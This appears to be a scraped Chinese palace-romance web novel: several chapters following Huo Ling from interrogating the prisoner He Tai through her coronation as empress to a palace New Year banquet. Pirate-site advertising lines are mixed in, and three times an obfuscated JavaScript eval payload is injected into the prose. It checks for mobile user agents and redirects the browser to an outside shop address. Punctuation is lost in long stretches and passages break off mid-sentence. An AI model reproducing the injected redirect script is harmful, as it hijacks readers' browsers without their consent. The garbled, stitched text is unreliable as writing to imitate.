霍翎神情冰冷,语调却不变:“看来他们对你许下了某种承诺,让你心甘情愿为他们守口如瓶。” 何泰正要再说些什么,话到嘴边,突然意识到不对,呵笑两声:“你想套我的话?” 见何泰反应了过来,霍翎有些遗憾。 不过何泰闭口不语,不妨碍霍翎继续说话。 她边推测边观察何泰的反应。 “能让端王改变主意的,无非就是那么几个人。端王妃、大公子、柳国公府……” 提到“柳国公府”时,何泰的表情明显扭曲了一瞬。 “端王妃身处内宅,大公子年纪尚幼,他们很难与你扯上关系,只有柳国公府的人最容易与你有往来。” “你身处燕西,掌握十万兵马,掌管着与羌戎交易的榷场……” “柳国公是兵部尚书。而且我听说柳国公府私底下一直在做买卖,好几家大商会背后都有柳国公府的势力在撑腰……” “你们交易了兵马粮草器械?” “……看来没有,你们还不敢如此大逆不道。” 霍翎肯定道:“那就是和榷场交易有关了。” 何泰死死咬着牙关,眼里的怨毒和恨意几乎要流淌出来。 “霍翎,别以为你能嚣张到最后。坐上皇后之位,真以为就可以高枕无忧了吗。” “我是活不到那个时候了,但我会在九泉之下,等着看你的下场。” 霍翎当然知道,坐上皇后之位,并不意味着高枕无忧。她每往前走一步,都是如履薄冰。 但是,没有关系。 因为她知道,当何泰开始诅咒她下地狱时,就说明何泰在面对她时已经无能为力。他根本撼动不了她,只能希冀于那虚无缥缈的、他根本看不到的未来。 这就是她往上爬的意义所在。 在她还不清楚权力为何物时,她就已经在爹爹的影响下,本能地追逐起权力。 直到如今,霍翎终于对权力有了一个清晰的认知。 权力,就是生杀予夺。 最后深深凝望了一眼何泰,霍翎转身,离开牢房,将何泰的咒骂声抛之脑后。 何泰骂着骂着,突然趴在地上嚎啕大哭。哭声里,有痛恨,有惶恐,有后悔。 他无数次后悔对霍世鸣动了手,无数次午夜梦回间,希望能回到当初。 那痛苦的哭声钻入耳朵,霍翎没有 再回头去看。 一个早已被她碾压的敌人从这一刻起已经不值得她再浪费时间和心力。 “这里我不会再来了。” “等什么时候何泰行刑了再来禀报我一声就可以了。” 霍翎如此交代邱鸿振。 邱鸿振恭敬应是将霍翎送上马车。 天色已经暗下霍翎如自己所言带无墨和无锋去樊楼吃饭听曲。 楼下传来婉转悦耳的曲音空气中浮动着甜腻的熏香霍翎倚着栏杆吃完最后一块糕点 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)问无墨和无锋以后有什么打算。 无墨奇道:“小姐怎么突然问这个。” 霍翎道:“虽然我大概能猜到你们的决定但我们自小一道长大我还是想亲口询问一番从你们口中听到确切的答案而不是直接为你们做决定。” 无墨立刻表态:“小姐去哪儿我就跟着去哪儿。” 霍翎提醒她:“皇宫不比其它地方松快那里规矩多你要是随我进了宫里可能没有在外面更轻松自在。” 无墨微抬下巴神气道:“小姐你可别小瞧人。这些天我可是一直在跟云谷姐姐、尚岚姐姐学习宫里的规矩。她们都说我学得很好。” 云谷和尚岚就是之前景元帝赐给霍翎的会拳脚功夫的宫女。 自从这两人来到霍翎身边后无墨就在努力和她们处好关系。 她们知道无墨是霍翎心腹也有意与无墨交好。 当无墨向两人讨教时两人几乎是倾囊相授。 想了想无墨又补充道:“反正我是不打算嫁人的小姐去宫里享福可别想撇开我。” 宫里规矩森严如果她不陪着小姐进宫那小姐该多么寂寞。 陛下不是独属于小姐一个人的。 就算陛下愿意一直专宠小姐他也终究是天子。 她这样笨拙的小丫鬟在打理宫务和人情往来上比不过云谷姐姐和尚岚姐姐但是她可以永远坚定地站在小姐身后。 霍翎抿唇一笑:“好那就先随我进宫享福吧。” 至于嫁不嫁人这件事情等过上几年她再问问无墨的想法。 如果无墨改变主意了她会送无墨风光大嫁;如果无墨依旧坚持她的身侧永 远都有无墨的位置。 彻底确定了无墨的心意,霍翎又扭头去看无锋。 她给了无锋两个选择。 “你可以随我爹回燕西,他肯定不会薄待了你。” 以霍世鸣的品阶和职务,已经可以组建亲卫队伍了,无锋本就是在霍家担任护卫队长的,到时直接进入霍世鸣的亲卫队伍里,应该能当上亲卫队长。 “当然,你要是愿意留在京师,那我会向陛下求个恩典,让你进入禁卫军里任职。” 无锋没有迟疑:“从我随着小姐来京师起,就没想过再回燕西了。” “陛下之前派了一支禁卫军来保护小姐,我与他们都聊过,知道禁卫军里面是什么情况。” “我想进禁卫军。” 霍翎再次露出一个真切的笑容:“好,那我们就这么说定了。” *** 忙忙碌碌中,京师郊外的枫叶染上火红之色。 在一场接着一场的秋雨中,时间悄然划到九月。 入了九月,封后大典就不远了。 内务府送来了赶制出来的皇后大礼服,还派了两个嬷嬷来帮霍翎试衣服。 宁信长公主受景元帝所托,也特意过来了一趟。 这件耗费了两个月时间,由上百名绣娘绣制而成的礼服,极尽繁复华丽,用金丝银线绣出龙凤同合的样式,间或以祥云作为点缀,既富贵又喜庆。 霍翎上身试了一遍,说了几个需要调整的地方。 两位嬷嬷不敢在霍翎面前托大,都一一记下。 “公主觉得,还有什么要注意的细节吗?”霍翎问一旁的宁信长公主。 “皇嫂以后直接叫我宁信吧。” 宁信长公主眼光老辣,又帮着提出了一些修改的想法。 等内务府终于按照两人的意见,将礼服改出来后,就到了霍翎的添妆礼。 霍翎的添妆礼十分热闹。 如宁信长公主、许时渡、邱鸿振和靖国公府这样交好的人家,自然都送来了礼物。 许时渡和靖国公夫人还亲自到场了。 让人诧异的是,端王妃和柳国公世子夫人那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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立后大典定在九月底,恰是秋高气爽之时。 吉日前一天,内务府派来女官,住进郡君府。 天还没亮,女官已在霍翎院外候着。等屋内燃起明亮的烛火,才进屋为霍翎上妆换衣。 霍翎眉眼秾丽,上妆反倒是最简单的一步。 刚装扮好,守在外面的无墨进来禀报:“正副使到了。” 天子是不会出宫亲迎皇后的,所以在天子大婚时,会 点一位正使,一位副使,由正副使和宫中内侍带着浩浩荡荡的仪仗队伍,前去奉迎皇后。 待到临近吉时,霍世鸣、方氏和霍泽也一起过来了。 霍泽和方氏还好,霍世鸣昨晚激动得一宿没合眼,要不是郡君府没有祖宗牌位,他都恨不得抱着他爹霍英绍的牌位念叨念叨。 此时天光还未大亮,院子里挂满照明用的宫灯,看着盛装立在庭阶前的长女,霍世鸣心中升腾起无数感慨。 依稀间,她分明还是个孩子模样,而他也窝在小小的永安县里有志难舒。 好像就在不经意间,她已经出落得亭亭玉立。 在燕西时结识端王,再到进入京师,与陛下结缘,成为皇后……他好像从来没有问过她,当她做出这些决定时,心里都在想些什么。 “爹爹。 霍翎的声音唤回了霍世鸣的思绪:“怎么这么看着我。 霍世鸣拍了拍霍翎的手,语气唏嘘:“我只是想起了你小时候。 “你自小就是个好胜的性子,学骑马那会儿,人还没小马高,就非得和建白一较高下。我怕你从马背上摔下来,就将你抱上了我的马背。 “我的马背多高啊,一下子就把建白给比了下去,你高兴得不行,一直催我带你绕着马场跑几圈。 “你还记得我抱你下马的时候,你对我说了什么话吗? 霍翎道:“我已经不记得这件事情了。 不过,她大概能理解自己那时的心情。 那时的她,高兴的不是将方建白比了下去,而是高兴于父亲难得的亲近。 霍世鸣笑了下,他倒是对那句话印象很深刻:“你对我说,你以后一定要嫁给一个和父亲一样的大英雄。 “不过孩子的想法总是变来变去的。 “你十二岁那年,我带你去知州大人的府上做客,你看完大燕舆图后,一个劲问我燕云十六州在哪里,它为什么会被弄丢,我为什么一定要光复燕云。 “我只好跟你说了霍家先祖的事迹。但你听完以后,说的第一句话竟然是,你以后一定要成为一个和父亲一样的大英雄。 霍翎安静听着霍世鸣追忆往昔,笑道:“原来父亲都记得。 原来她对父亲的孺慕之情 他是看在眼里的。 没有给父女两更多谈心的时间吉时已到。 正使文盛安、副使陆杭携诸内侍在院外奉迎皇后请皇后乘辇。 霍翎收敛心绪手持一把红色团扇被霍泽背着在正副使的奉迎下坐进凤辇。 钟鼓齐鸣礼乐奏响浩浩荡荡的奉迎仪驾穿过巷子穿过最繁华热闹的朱雀街 百官早已再次恭候多时还有不少外邦使臣前来观礼。 凤辇抵达应天门的时间是早就算准了的辇车才刚停下正使文盛安取出他亲自拟写的册后圣旨再次大声念诵。 待文盛安念到最后一句“……德才兼备度娴礼法允合母仪于天下”轿帘被人掀开同样是一身红色礼服的景元帝站在轿外。 霍翎还是第一次看景元帝穿这么鲜艳的颜色眼眸笑弯漾开层层笑意。 景元帝也在打量霍翎。 明艳炽盛浓墨重彩重工繁琐的大婚礼服与她极为相衬。 景元帝笑着将手里的绣球递给霍翎。 霍翎接过下轿。 百官俯身恭迎。 礼官出列朗诵祭告天地祖宗的祭文。 在这漫长华丽的祭文声中景元帝和霍翎并肩走上台阶。 身上的礼服和凤冠都十分沉重但霍翎迈出的每一步都很稳。 礼服衣摆用金丝银线绣着山河日月长长拖曳在她身后立在台阶之上的文武百官只能看着衣摆一点点拂过他们的视野而后远去。 登临祭坛最高处的台阶一共有九十九级越往上走霍翎路过的故人就越多。 靖国公世子郑新觉清河崔氏崔原邱鸿振靖国公…… 柳国公世子柳国公…… 还有最前排的端王。 她一步步从他们身边经过然后不断向上走终于她迈过最后一级台阶与景元帝一起登临祭坛最高处。 回荡在天地间的祭文声停止了。 礼官将祭文书稿投入火炉熊熊烈火中霍翎缓缓转身与景元帝面对面站着。 李满端来一个托盘里面放着皇后宝册和宝印。 宝册是册立皇后的文书宝印则是皇后的凤玺由纯金打造 第 55 章 “感觉完全不一样... 景元帝给自己批了五日假期,朝臣也拿他没办法。反正如今朝中没什么要紧事,没哪个臣子会在这个时候不长眼地跑过来打扰他。 不过大婚第三日,景元帝主动带着霍翎去了一趟御书房。 那副入城献俘图被挂在了墙上最显眼的地方,霍翎道:“陛下也不怕被大臣们笑话。” 景元帝自然是不怕的,他还表示自己会主动邀请群臣们鉴赏这幅画。 这画上的诗文和印章,放在两人之间就是情趣,真拿给朝臣鉴赏……霍翎实在没景元帝那么厚的脸皮,连忙出声劝他改变主意。 景元帝被哄了半天,也笑了半天,才终于摆出一副勉强的模样,松口道:“行吧,朕可以改变主意,不过有个要求。” “什么要求?” “阿翎来为朕研墨吧。” “这算什么要求。” 霍翎坐到景元帝的桌案侧边,挑了一块墨条慢慢研磨:“陛下要写什么。” 景元帝:“给你家族的封赏。” 依照惯例,大燕皇后的生父都能封“承恩公”一爵。不过,同样都是承恩公,却有一等、二等、三等之分。 何皇后的生父,就是一等承恩公。 景元帝这回拟写的圣旨里,有早就说好的对霍翎生母和外祖母的追封,还将霍世鸣封为了一等承恩公。 册后大典的亏,霍翎吃过一次,就绝不会再吃第二次。入宫之前,她打听了不少有关那位何皇后的事情。 所以这会儿,看到景元帝将她爹封为一等承恩公,霍翎欲言又止。 景元帝注意到她的异色:“怎么了?” 霍翎道:“陛下,直接将我爹封为一等承恩公,是不是不太好?” 景元帝先是讶异,而后像是想起了什么:“因为先皇后的生父,一开始是被封为了二等承恩公,过了几年后才升为一等承恩公?” 霍翎颔首。 “无需处处与先皇后看齐。”景元帝拿起玺印,直接盖在了圣旨右下角,“那会儿太后生父还在,皇后生父不好越过长辈,才降了一等。” “如今你爹也是皇后生父,自然该和先皇后生父一个封号。” “况且你爹于社稷有大功,日后还要为国朝镇守一方。倒是另一位承恩公 ,这些年来,从未做出过什么显赫功绩。 景元帝都这么说了,霍翎也不再坚持。 她会劝上那么一句,一来是为了尽到皇后的劝诫之责,二来也是想明确一下景元帝的心意。 ——看来那位出身何家的承恩公,一再干涉立后之事的行为,惹得陛下十分不满。 当天中午,霍家人就接到了这道圣旨。 虽然早有预料,当爵位真的下来时,霍世鸣还是一阵狂喜。 这个爵位和柳国公、靖国公那种世袭罔替的爵位没有可比性,但也是公爵啊! 品阶摆在那里,对霍家来说,这个爵位已经称得上是一步登天了。 相比起霍世鸣和霍泽的纯粹喜悦,方氏在高兴之余,还是忍不住在心里泛起了一些嘀咕。 “一品忠烈夫人,这么好的封号,肯定是霍翎为她生母求的。 不过想到自己也是沾了继女的光才成为承恩公夫人,方氏赶紧把心底那点儿酸意抛之脑后,与丈夫儿子商量着该如何庆祝。 饭桌上,霍世鸣提起了离京之事。 他们这回进京,为的就是准备霍翎的婚事,参加霍翎的封后大典。如今一切都告一段落,他们去西郊别院泡几天温泉,解解身上的疲乏,就该动身回燕西了。 得知自己快要离开京师了,霍泽心里十分不舍。 燕西和京师完全没有可比性,这里云集了天底下各种好吃的好玩的,霍泽在这里的每一天都觉得自己大开了眼界。 他扭捏了半天,还是忍不住问了出来:“我们难得过来一趟,就不能多住一段时间吗。 他还想到了一个绝妙的主意:“爹,你职务在身,不可久离燕西,但我和娘不一样啊。 “不如这样,你先快马赶回行唐关,我和娘在京师多住一段时间,年前再回燕西和你过年。 只可惜,对于这个绝妙的主意,无论是方氏还是霍世鸣都不感兴趣。 方氏直接摆手拒绝:“我要跟你爹一起回去。 在帮霍翎置办嫁妆、准备婚礼时,方氏接触了不少命妇。她们每个人都是通身气派,她站在她们面前只觉处处拘谨,生怕有哪里出了差错,让人看了笑话。 燕西虽然贫瘠了些,好东西也没有京师多,但她 在燕西待得可比在京师自在多了。 霍世鸣更是呵呵两声:“别痴心妄想了。” 霍泽痛心:“为什么!” 霍世鸣拍了拍儿子的头:“我由着你玩了两个月你还不满意?再不离开京师我看你的心就彻底收不回来了。” 说起对京师的执念霍世鸣可比霍泽深多了。 但他很理智。 他知道自己的根基在哪里。 现在的他想回京师随时都可以回根本不用急在一时。 皇宫里霍翎也很快知道了霍世鸣的这个决定。 对此霍翎是十分支持的。 在霍家人离京前霍翎以皇后的名义赐下了不少好东西其中还包括了送给方建白和李宜春的礼物。 连带着周嘉慕那里也有一份。 霍家人离开京师时京师郊外的枫叶早已漫山红遍霍翎花了些时间终于适应了皇宫里的生活。 她不是一个喜欢折腾的性格也没有兴趣每天看到景元帝的妃嫔对她行礼问安所以她将请安时间定为一旬一次各妃嫔的待遇也都遵循旧例。 各妃嫔明显感觉到在这位皇后娘娘进宫以后她们的生活不仅没有太大变动还更舒坦了。 这倒不是德妃管得差事实上德妃代掌宫闱期间后宫一直没有出过什么乱子。 只是有一些事情比如说内务府有人克扣各宫冰炭以次充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063690|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好德妃终究没有凤印在手很难一查到底。 霍翎就没有这个顾忌了顺藤摸瓜查了个底朝天狠狠惩治了一批人顺利在六宫树立起了威望。 没有这些人上下其手以次充好妃嫔们明面上的待遇是没有变但实际上到手的东西是变多了的。 光是这一点妃嫔们对这位皇后娘娘都是心服的。 再说了就算心里不服气又有谁敢跳出来冲撞皇后娘娘呢。 这位既是皇后又得天子恩宠入宫两个月来天子几乎都宿在她的凤仪宫里偶尔去其它宫里也是去德妃和贤妃宫里坐坐看看孩子。 位份不够高又没有宠爱还没有子嗣的妃嫔 至于有子嗣的德妃和贤妃……德妃就不用说了一直在帮皇后娘娘协调六宫 贤妃也是很快就认清了现实。 唯一一个可能与霍翎起冲突的就是出身柳国公府旁支的柳昭容了。 但柳昭容早就得了娘家叮嘱也不可能做这种傻事。 没有乱七八糟的人在霍翎面前蹦跶霍翎这个皇后当得确实舒心。以她的能力宫务也不是什么负担不过两三个月时间霍翎就基本上手了。 眼看着年底将近宫中要设宴款待朝臣霍翎给德妃赏了一堆好东西谢过德妃这段时间的帮忙就全权接手了筹备宫宴一事。 这是她当上皇后以后第一次在朝臣命妇面前露脸霍翎从左嬷嬷和内务府总管那里了解到往年宫宴的情况也没有完全照搬往年的布置而是做了一些适当的调整。 “行了今天到此为止。” 算着时间差不多了霍翎让内务府的人先行退下。 无墨上前询问:“娘娘现在要吩咐御膳房的人传膳吗?” 霍翎颔首:“传吧。” 进宫以后无墨对霍翎的称呼就变了。 在私底下随便怎么称呼、自称都行但大庭广众该守的规矩都要守。 就连霍翎自己在习惯上也有了不少变化。 未嫁人前她多是用发带来系发;进宫以后她就将发带都换成了凤钗和凤簪这样更方便盘发。 只有主仆二人时无墨还小小惋惜了一下霍翎却笑道:“人是不断往前走的。也许是主动养成的也许是被动养成的但每个阶段都会有不同的习惯你要尽快适应。” 前前后后忙碌了小一个月终于到了宫宴当天。 景元帝处理完折子就从御书房来了凤仪宫。 霍翎正在听底下人汇报情况余光扫见景元帝的身影起身去迎。 景元帝陪霍翎一起听完汇报 席间早已坐满宾客伴随着李满一声“皇上驾到皇后驾到”众人纷纷起身行礼景元帝握着霍翎的手与她一起走上主位。 待帝后二人相携坐下众人才再次坐回去。 景元帝捏了捏霍翎的手低声问她:“坐在下面和坐在上面的感觉是不是差别很大。” 霍翎轻轻一垂眸就将下方心思各异的众人看了个一清二楚:“感觉完全不一样。” 作者有话要说 第 56 章 年节。 站在高处俯视,和站在半山腰仰望的感觉,自然是完全不一样的。 霍翎将视野范围内的宾客都扫了一遍,又观察了下行走在席间的宫女,确定一切井然有序,也就放下心来——今晚这场宴会,没有出任何岔子。 她这一关是彻底过了。 “与朕碰个杯吧。”景元帝道。 霍翎想到了当初她坐在席间,隔空敬景元帝酒的场景。 看了看景元帝的表情,霍翎便知道他也想起来了。 霍翎端起酒杯,与景元帝结结实实碰了个杯,抿了一口,顿时笑了:“是樊楼的秋露白。” 想到当初心底的困惑,霍翎问景元帝:“陛下,樊楼背后的主子是不是您?” 景元帝眉梢一挑,也没有瞒着霍翎:“是与朕有些关系。你是何时猜出来的。” 霍翎道:“臣妾第一次去樊楼时,在那里玩了投壶,赢了一壶秋露白。投壶所用的箭矢极好,在军中都十分少见。” “而且臣妾与陛下第三次见面时,崔弘益直接将臣妾带上了顶楼。那里的布置,与太和殿的布置有几分相似之处。” 一个人的喜好是很难伪装的,景元帝虽不常去樊楼,但底下人还是下意识按照他喜欢的风格来布置房间。 景元帝道:“这么早就猜出来了,怎么到现在才问。” “之前是不好问,怕犯了陛下忌讳,后来是忘了问。” 霍翎一直都很注意和景元帝相处的分寸。 景元帝明白了:“樊楼的掌柜,是朕还未登基时在宫外认识的友人。” “他出身商贾之家,少年时一直想要入仕做官,可惜出身不高,又没有世家勋贵举荐,最后只能花了一笔银两,在衙门里谋了个小吏的差事。” 小吏和正经官员还是很不一样的。入了吏道,再想晋升就难了。 “朕与他认识之时,他已经因得罪上官,愤而离开了衙门。” 霍翎听到这里,好奇道:“那他最后为何没有做官,而是开了一家樊楼?” 景元帝没有说得太详细:“也算因缘际会吧。他在打理生意上的才能,确实十分出众。朕在宫外有一些产业,都未经内务府之手,而是交给了他来打理。” “你若感兴趣,下回朕带你去樊 楼见见他。 等底下的教坊司表演完,夫妻两还在闲聊。 宁信长公主美美欣赏完歌舞,想找人分享一下心得,结果扭头一看,帝后二人坐得极近,这会儿依旧旁若无人地聊着天。 “皇兄,皇嫂,你们在聊什么呢。 霍翎循声看去:“我在与你皇兄聊樊楼的美酒。 她朝身后的崔弘益招了招手,吩咐道:“这酒,给宁信和嘉乐送一壶过去。 宁信长公主喝不出这是什么酒,许时渡却是一下子就品了出来。 许时渡端起酒杯,抢在其他人之前,起身给霍翎敬酒:“娘娘,我敬您一杯,愿您凤体康健。 宁信长公主也跟着喝了一杯:“皇嫂这宫宴安排得真不错,这么个大冷天,菜肴端上来时还是热的。 虽说大家心里都知道,宫中的宴会不是吃饭的地方,但这寒冬腊月的,热气腾腾的菜和已经冷掉的菜一起摆在面前,肯定是前者更让人慰贴。 景元帝对霍翎说:“有宁信这句话,你总算可以放心了。她这人眼光最挑剔,从不轻易夸人。 霍翎道:“陛下怎么知道臣妾紧张? 景元帝反问:“朕还能看不出来? 看着两人又无视她重新聊上了,宁信也是无奈。不过,她皇兄这下应该不会再觉得宴会无聊了吧。 有许时渡开了一个好头,过来给霍翎敬酒的人越来越多。 霍翎算是知道景元帝为什么一参加宴会就头疼了。 敬酒倒也罢了,他们嘴里说的敬酒词也都乏善可陈。 霍翎一开始还喝得比较实在,连着喝了十来杯后,也实在不起来了,每次都是只喝一口。 景元帝一边喝着酒,一边支着下颚看她,显然也是察觉到了她的转变。 霍翎暗暗叫苦:“陛下也不事先提醒臣妾。 景元帝这才道:“是朕忘了。 他给李满使了个眼色。 等霍翎的酒杯再次被人满上,她端起来喝了一口,就发现了不对。 杯子里的酒水已经换成了温热的蜜水。 霍翎不动声色:“陛下杯子里的,是酒还是蜜水? 景元帝被她这话逗得哈哈笑了两声:“你尝一口就知道了。 两人如此旁若无人地亲近着落在一些臣子眼里那是帝后琴瑟和鸣但落在某些人眼里就颇为刺痛了。 端王从列席以后喝酒的动作就没怎么停过。 他与上首离得太近即使刻意不让自己去看还是难以避免注意到上首的动静。 端王妃也不拦着他。 事实上 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节)就连端王妃自己也没忍住多灌了几杯酒。 霍翎放下景元帝的酒盏刚想说些什么余光扫见一位年轻命妇立刻将人认了出来:“季二夫人。” 霍翎口中的季二夫人是肃亲王二儿子的妻子。 也是许时渡说过的那位三公子的亲生母亲。 在霍翎的立后大典上季二夫人跟着肃亲王府的人来给她行过礼。 季二夫人显然有些惊喜:“娘娘还记得臣妇。” 景元帝正在与朝臣聊天霍翎示意季二夫人走上前一些:“季二夫人左边嘴角有颗痣本宫瞧着觉得亲切就记下了。” 等季二夫人敬完酒霍翎又问:“听说你生了两个儿子一个女儿这回可带了他们赴宴?” 季二夫人心中激动面上也带出了些笑容十分灿烂:“这回只带了我家大郎进宫三郎和二娘子年纪还小我怕他们会在宫宴上失礼。” 霍翎笑道:“我们季家的孩子自小就有专人教导礼仪怎么会在宫宴上失礼呢。”又问二娘子多大了。 听说二娘子今年六岁霍翎道:“与大公主、二公主年纪相差也不大下回季二夫人得了空可以带孩子们进宫。” 季二夫人一口应下:“要是娘娘不嫌那几个孩子吵闹等娘娘何时有空了我带他们进宫给娘娘请安。” 霍翎道:“只管带进宫来本宫这儿少不了他们的见面礼。” 季二夫人心满意足地走了。 景元帝方才也隐约听到了霍翎与季二夫人的交谈开口问:“你与肃亲王府何时有了交情。” 霍翎道:“臣妾添妆礼时肃亲王府送了礼物过来。” 瞧了瞧那些个还想过来敬酒的人霍翎问:“陛下我们要不要提前离席?” 景元帝笑:“那就去月漾湖走走吧。” *** 天边一轮圆月倒映 在湖中,微风吹过,月漾湖波光粼粼,将圆月吹得破碎。 京师的冬天,威力不比燕西差。 霍翎站在栏杆边,由着景元帝为她戴上斗篷兜帽。 “《清燕西》里说霍襄安是燕西出了名的美人,朕就问崔弘益,你可是名副其实。 “崔弘益给你的评价是,天人之姿。 “朕起初还有些不以为然,直到那天在月漾湖边见到你,一瞬间只觉是仙人乘月涉水而来。 霍翎眼眸微弯:“陛下怎么现在才跟臣妾说。 景元帝轻咳一声:“对着大臣之女,有些话总是不好直说的。 月漾湖风大,景元帝和霍翎在湖边略站了会儿,就去了不远处的八角凉亭。 霍翎突然又将话题扯到了肃亲王府身上。 “方才与季二夫人聊天,臣妾想到了一事。 景元帝:“何事? 霍翎道:“大公主和二公主都到了读书进学的年纪,但臣妾看,教导她们的师傅,怎么都是宫中的女官和京中素来贤名的命妇? 景元帝一怔:“你觉得这个安排不妥? 霍翎道:“倒也不是不妥。这是多年的惯例了。只是,陛下膝下就这么两个公主,再怎么宠着纵着都不为过。 “听说大公子那边,每天都在天章阁念书,身边每一门课业的老师都是朝中大臣。 霍翎身为皇后,除了要调理六宫外,还要教养皇子皇女。 季渊晚那边,霍翎不打算沾手,景元帝也默许了她的做法。 所以霍翎需要教养的只有两位公主。 “臣妾是觉得,三个孩子年纪相仿,没必要在这方面区别对待。就让两位公主也去天章阁念书,再从朝中请两个大臣担任公主师,让他们为公主讲史,陛下以为呢? 景元帝一时没有回答。 但他这个反应,反倒鼓舞了霍翎。 没有立刻反对,恰恰说明景元帝有在认真考虑她的提议。 霍翎再接再厉:“要说臣妾见过的最气派的皇家人,除了陛下,就是宁信了。咱家的公主,要都能和宁信一样,那才叫好呢。 听霍翎夸奖亲妹妹,景元帝笑了一下:“该让宁信听听你这话。 “这是肺 腑之言。 霍翎握着景元帝的手,声音愈发温柔下来:“陛下,臣妾不知两位公主是如何想的,臣妾自问资质远超弟弟,所受的教导却远逊于弟弟。 “那是臣妾的亲弟弟,臣妾心中依旧时有不平。大公子和两位公主之间还隔了一层。 说到这儿,霍翎将景元帝的手掌引到自己颊侧:“况且,陛下最初注意到臣妾,不正是因为臣妾在燕西立下了功劳吗。那些庸碌之人,才会畏惧女子拥有才能。 景元帝用指尖顺了顺霍翎的脸庞,终于道:“也好。 “你是皇后,你觉得这样做对两个孩子更好,那就依你的想法来。朝中大臣那边,朕与他们说一声,看看有谁愿意来教导公主。 霍翎道:“别人不清楚,陆尚书肯定乐意。 景元帝哑然失笑:“等过完年,朕问问他。 聊完两位公主的培养问题,霍翎又换了个话题,与景元帝一直聊到宫宴结束,两人才回了凤仪宫休息。 湿润雾气升腾而起,霍翎喝完醒酒汤,靠在浴池里昏昏欲睡,脑中却在回想着今晚的事情: 她想要提高自己在前朝的影响,就势必要在朝政上发表自己的看法。 但她刚成为皇后不久,现在最重要的还是坐稳皇后之位,做好皇后应尽的职责,才能进行下一步动作。 恰好,教养公主就是皇后的责任。 即使是朝臣,也不能说她的提议有错。 如果能让两位公主进入天章阁读书,还能请朝臣来担任公主师,这无疑能慢慢提高两位公主对前朝的影响,又不至于让朝臣太过警惕。 还能对德妃和贤妃施恩。有利于后宫的安稳。 想到这儿,霍翎又不免想到了肃亲王府那边。 陛下几乎每日都宿在凤仪宫里,两人间的房事也算频繁,如果她能有陛下的孩子,自然是皆大欢喜。 但是,如果她始终不能怀上陛下的孩子,她也需要给自己安排一些后手。 肃亲王府主动向她示好,她也没必要将肃亲王府往外推。 别的不说,两位公主身边的伴读名额还没满,季二夫人家的二娘子倒是可以先进宫来当公主伴读。 翌日下午,太医院派人来给霍翎请平安脉。 看到来人时霍翎不由笑了下这是个老熟人了。 “相太医燕西一别许久不见了你瞧着没什么变化。” “老臣早就该过来给娘娘请安了只可惜之前一直没轮值到还望娘娘恕罪。” 相太医恭恭敬敬地给霍翎行礼问安。 即使早就知道霍翎成了皇后但当他真正站在霍翎面前时相太医心中还是不禁升起感慨:他瞧着是没什么变化皇后娘娘的风仪却远胜燕西之时。 霍翎示意他免礼:“相太医救了本宫的父亲本宫感激还来不及。” 相太医走上前开始为霍翎请脉。 霍翎的身体底子一向极好她连调理的汤药都不需要喝所以相太医过来请平安脉也是走个过场就离开了。 目送着相太医远去的背影霍翎挥退屋内其他人只留下无墨。 “你说回春堂的陈大夫会愿意进太医院吗?” 这位陈大夫是当初永安县赈济灾民时被霍翎请去问诊棚坐诊的年轻大夫。 无墨诧异:“娘娘怎么突然想到了陈大夫?” 霍翎道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍翎笑道:“两位公主的骑射师傅是极好的,让两位公主跟着骑射师傅好好学。” 顿了顿,霍翎又多释放了一些善意:“本宫时常会去马场那边练习骑射,两位公主平日里若是闲着无事,也可以随本宫一道过去。” 德妃和贤妃连忙应好。 她们虽不是顶顶聪明的人,却也绝不愚笨。 不说旁的,光是这位霍皇后进宫以来的种种手段,就远不是她们所能企及的。 像德妃,更是在心下暗道侥幸。 幸好有大伯在,不仅帮她上书躲过了立后风波,还提醒她要与霍皇后交好。 让霍翎有些诧异的是,今年过年,端王府居然不打算接季渊晚回去吃年夜饭,只是向景元帝求了个恩典,让季渊晚在正月初二时回一趟端王府即可。 这个安排,看似不近人情。 但以目前的情况来说,其实才是最明智的做法。 果然不能指望自己的敌人一再犯错啊。 等景元帝过来凤仪宫时,霍翎正在练箭。 景元帝在旁边看了一会儿,也来凑了个热闹。 霍翎射完箭筒里最后一支箭,对景元帝道:“陛 下 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节)您今年还没去过西郊吧。” 以往每年夏天或者冬天时景元帝都会去西郊住上一段时间。但今年情况特殊夏天景元帝是在行宫度过的冬天霍翎进宫更是忙得走不开。 这一拖就拖到了现在。 景元帝问:“你想去西郊过年?” “等祭典结束我们就去西郊待到初十再回来吧。” 景元帝笑着应了声好抬手为霍翎拂去眉间落雪拉着她进了温暖如春的宫殿里。 “朕每年都会题几副春符赐给大臣你的字近来练得不错是要在旁给朕研墨还是与朕一起写上几副然后一同赐给大臣的夫人?” 霍翎没想到他会这么说但她练了那么久的字也乐意显一显身手:“臣妾这就给陛下研墨然后与陛下一起写上几副。” 霍翎一边题着春符一边与他说起以往过年时家中的春符都是由她一手包揽。 “今年只记得给我爹他们送了年礼忘了顺便给他们写几副春符了。” 景元帝道:“那你再多题几副到时贴在凤仪宫、太和殿的柱子上。” 许是心中高兴霍翎这回落笔时明显感觉到自己的字迹有所突破。 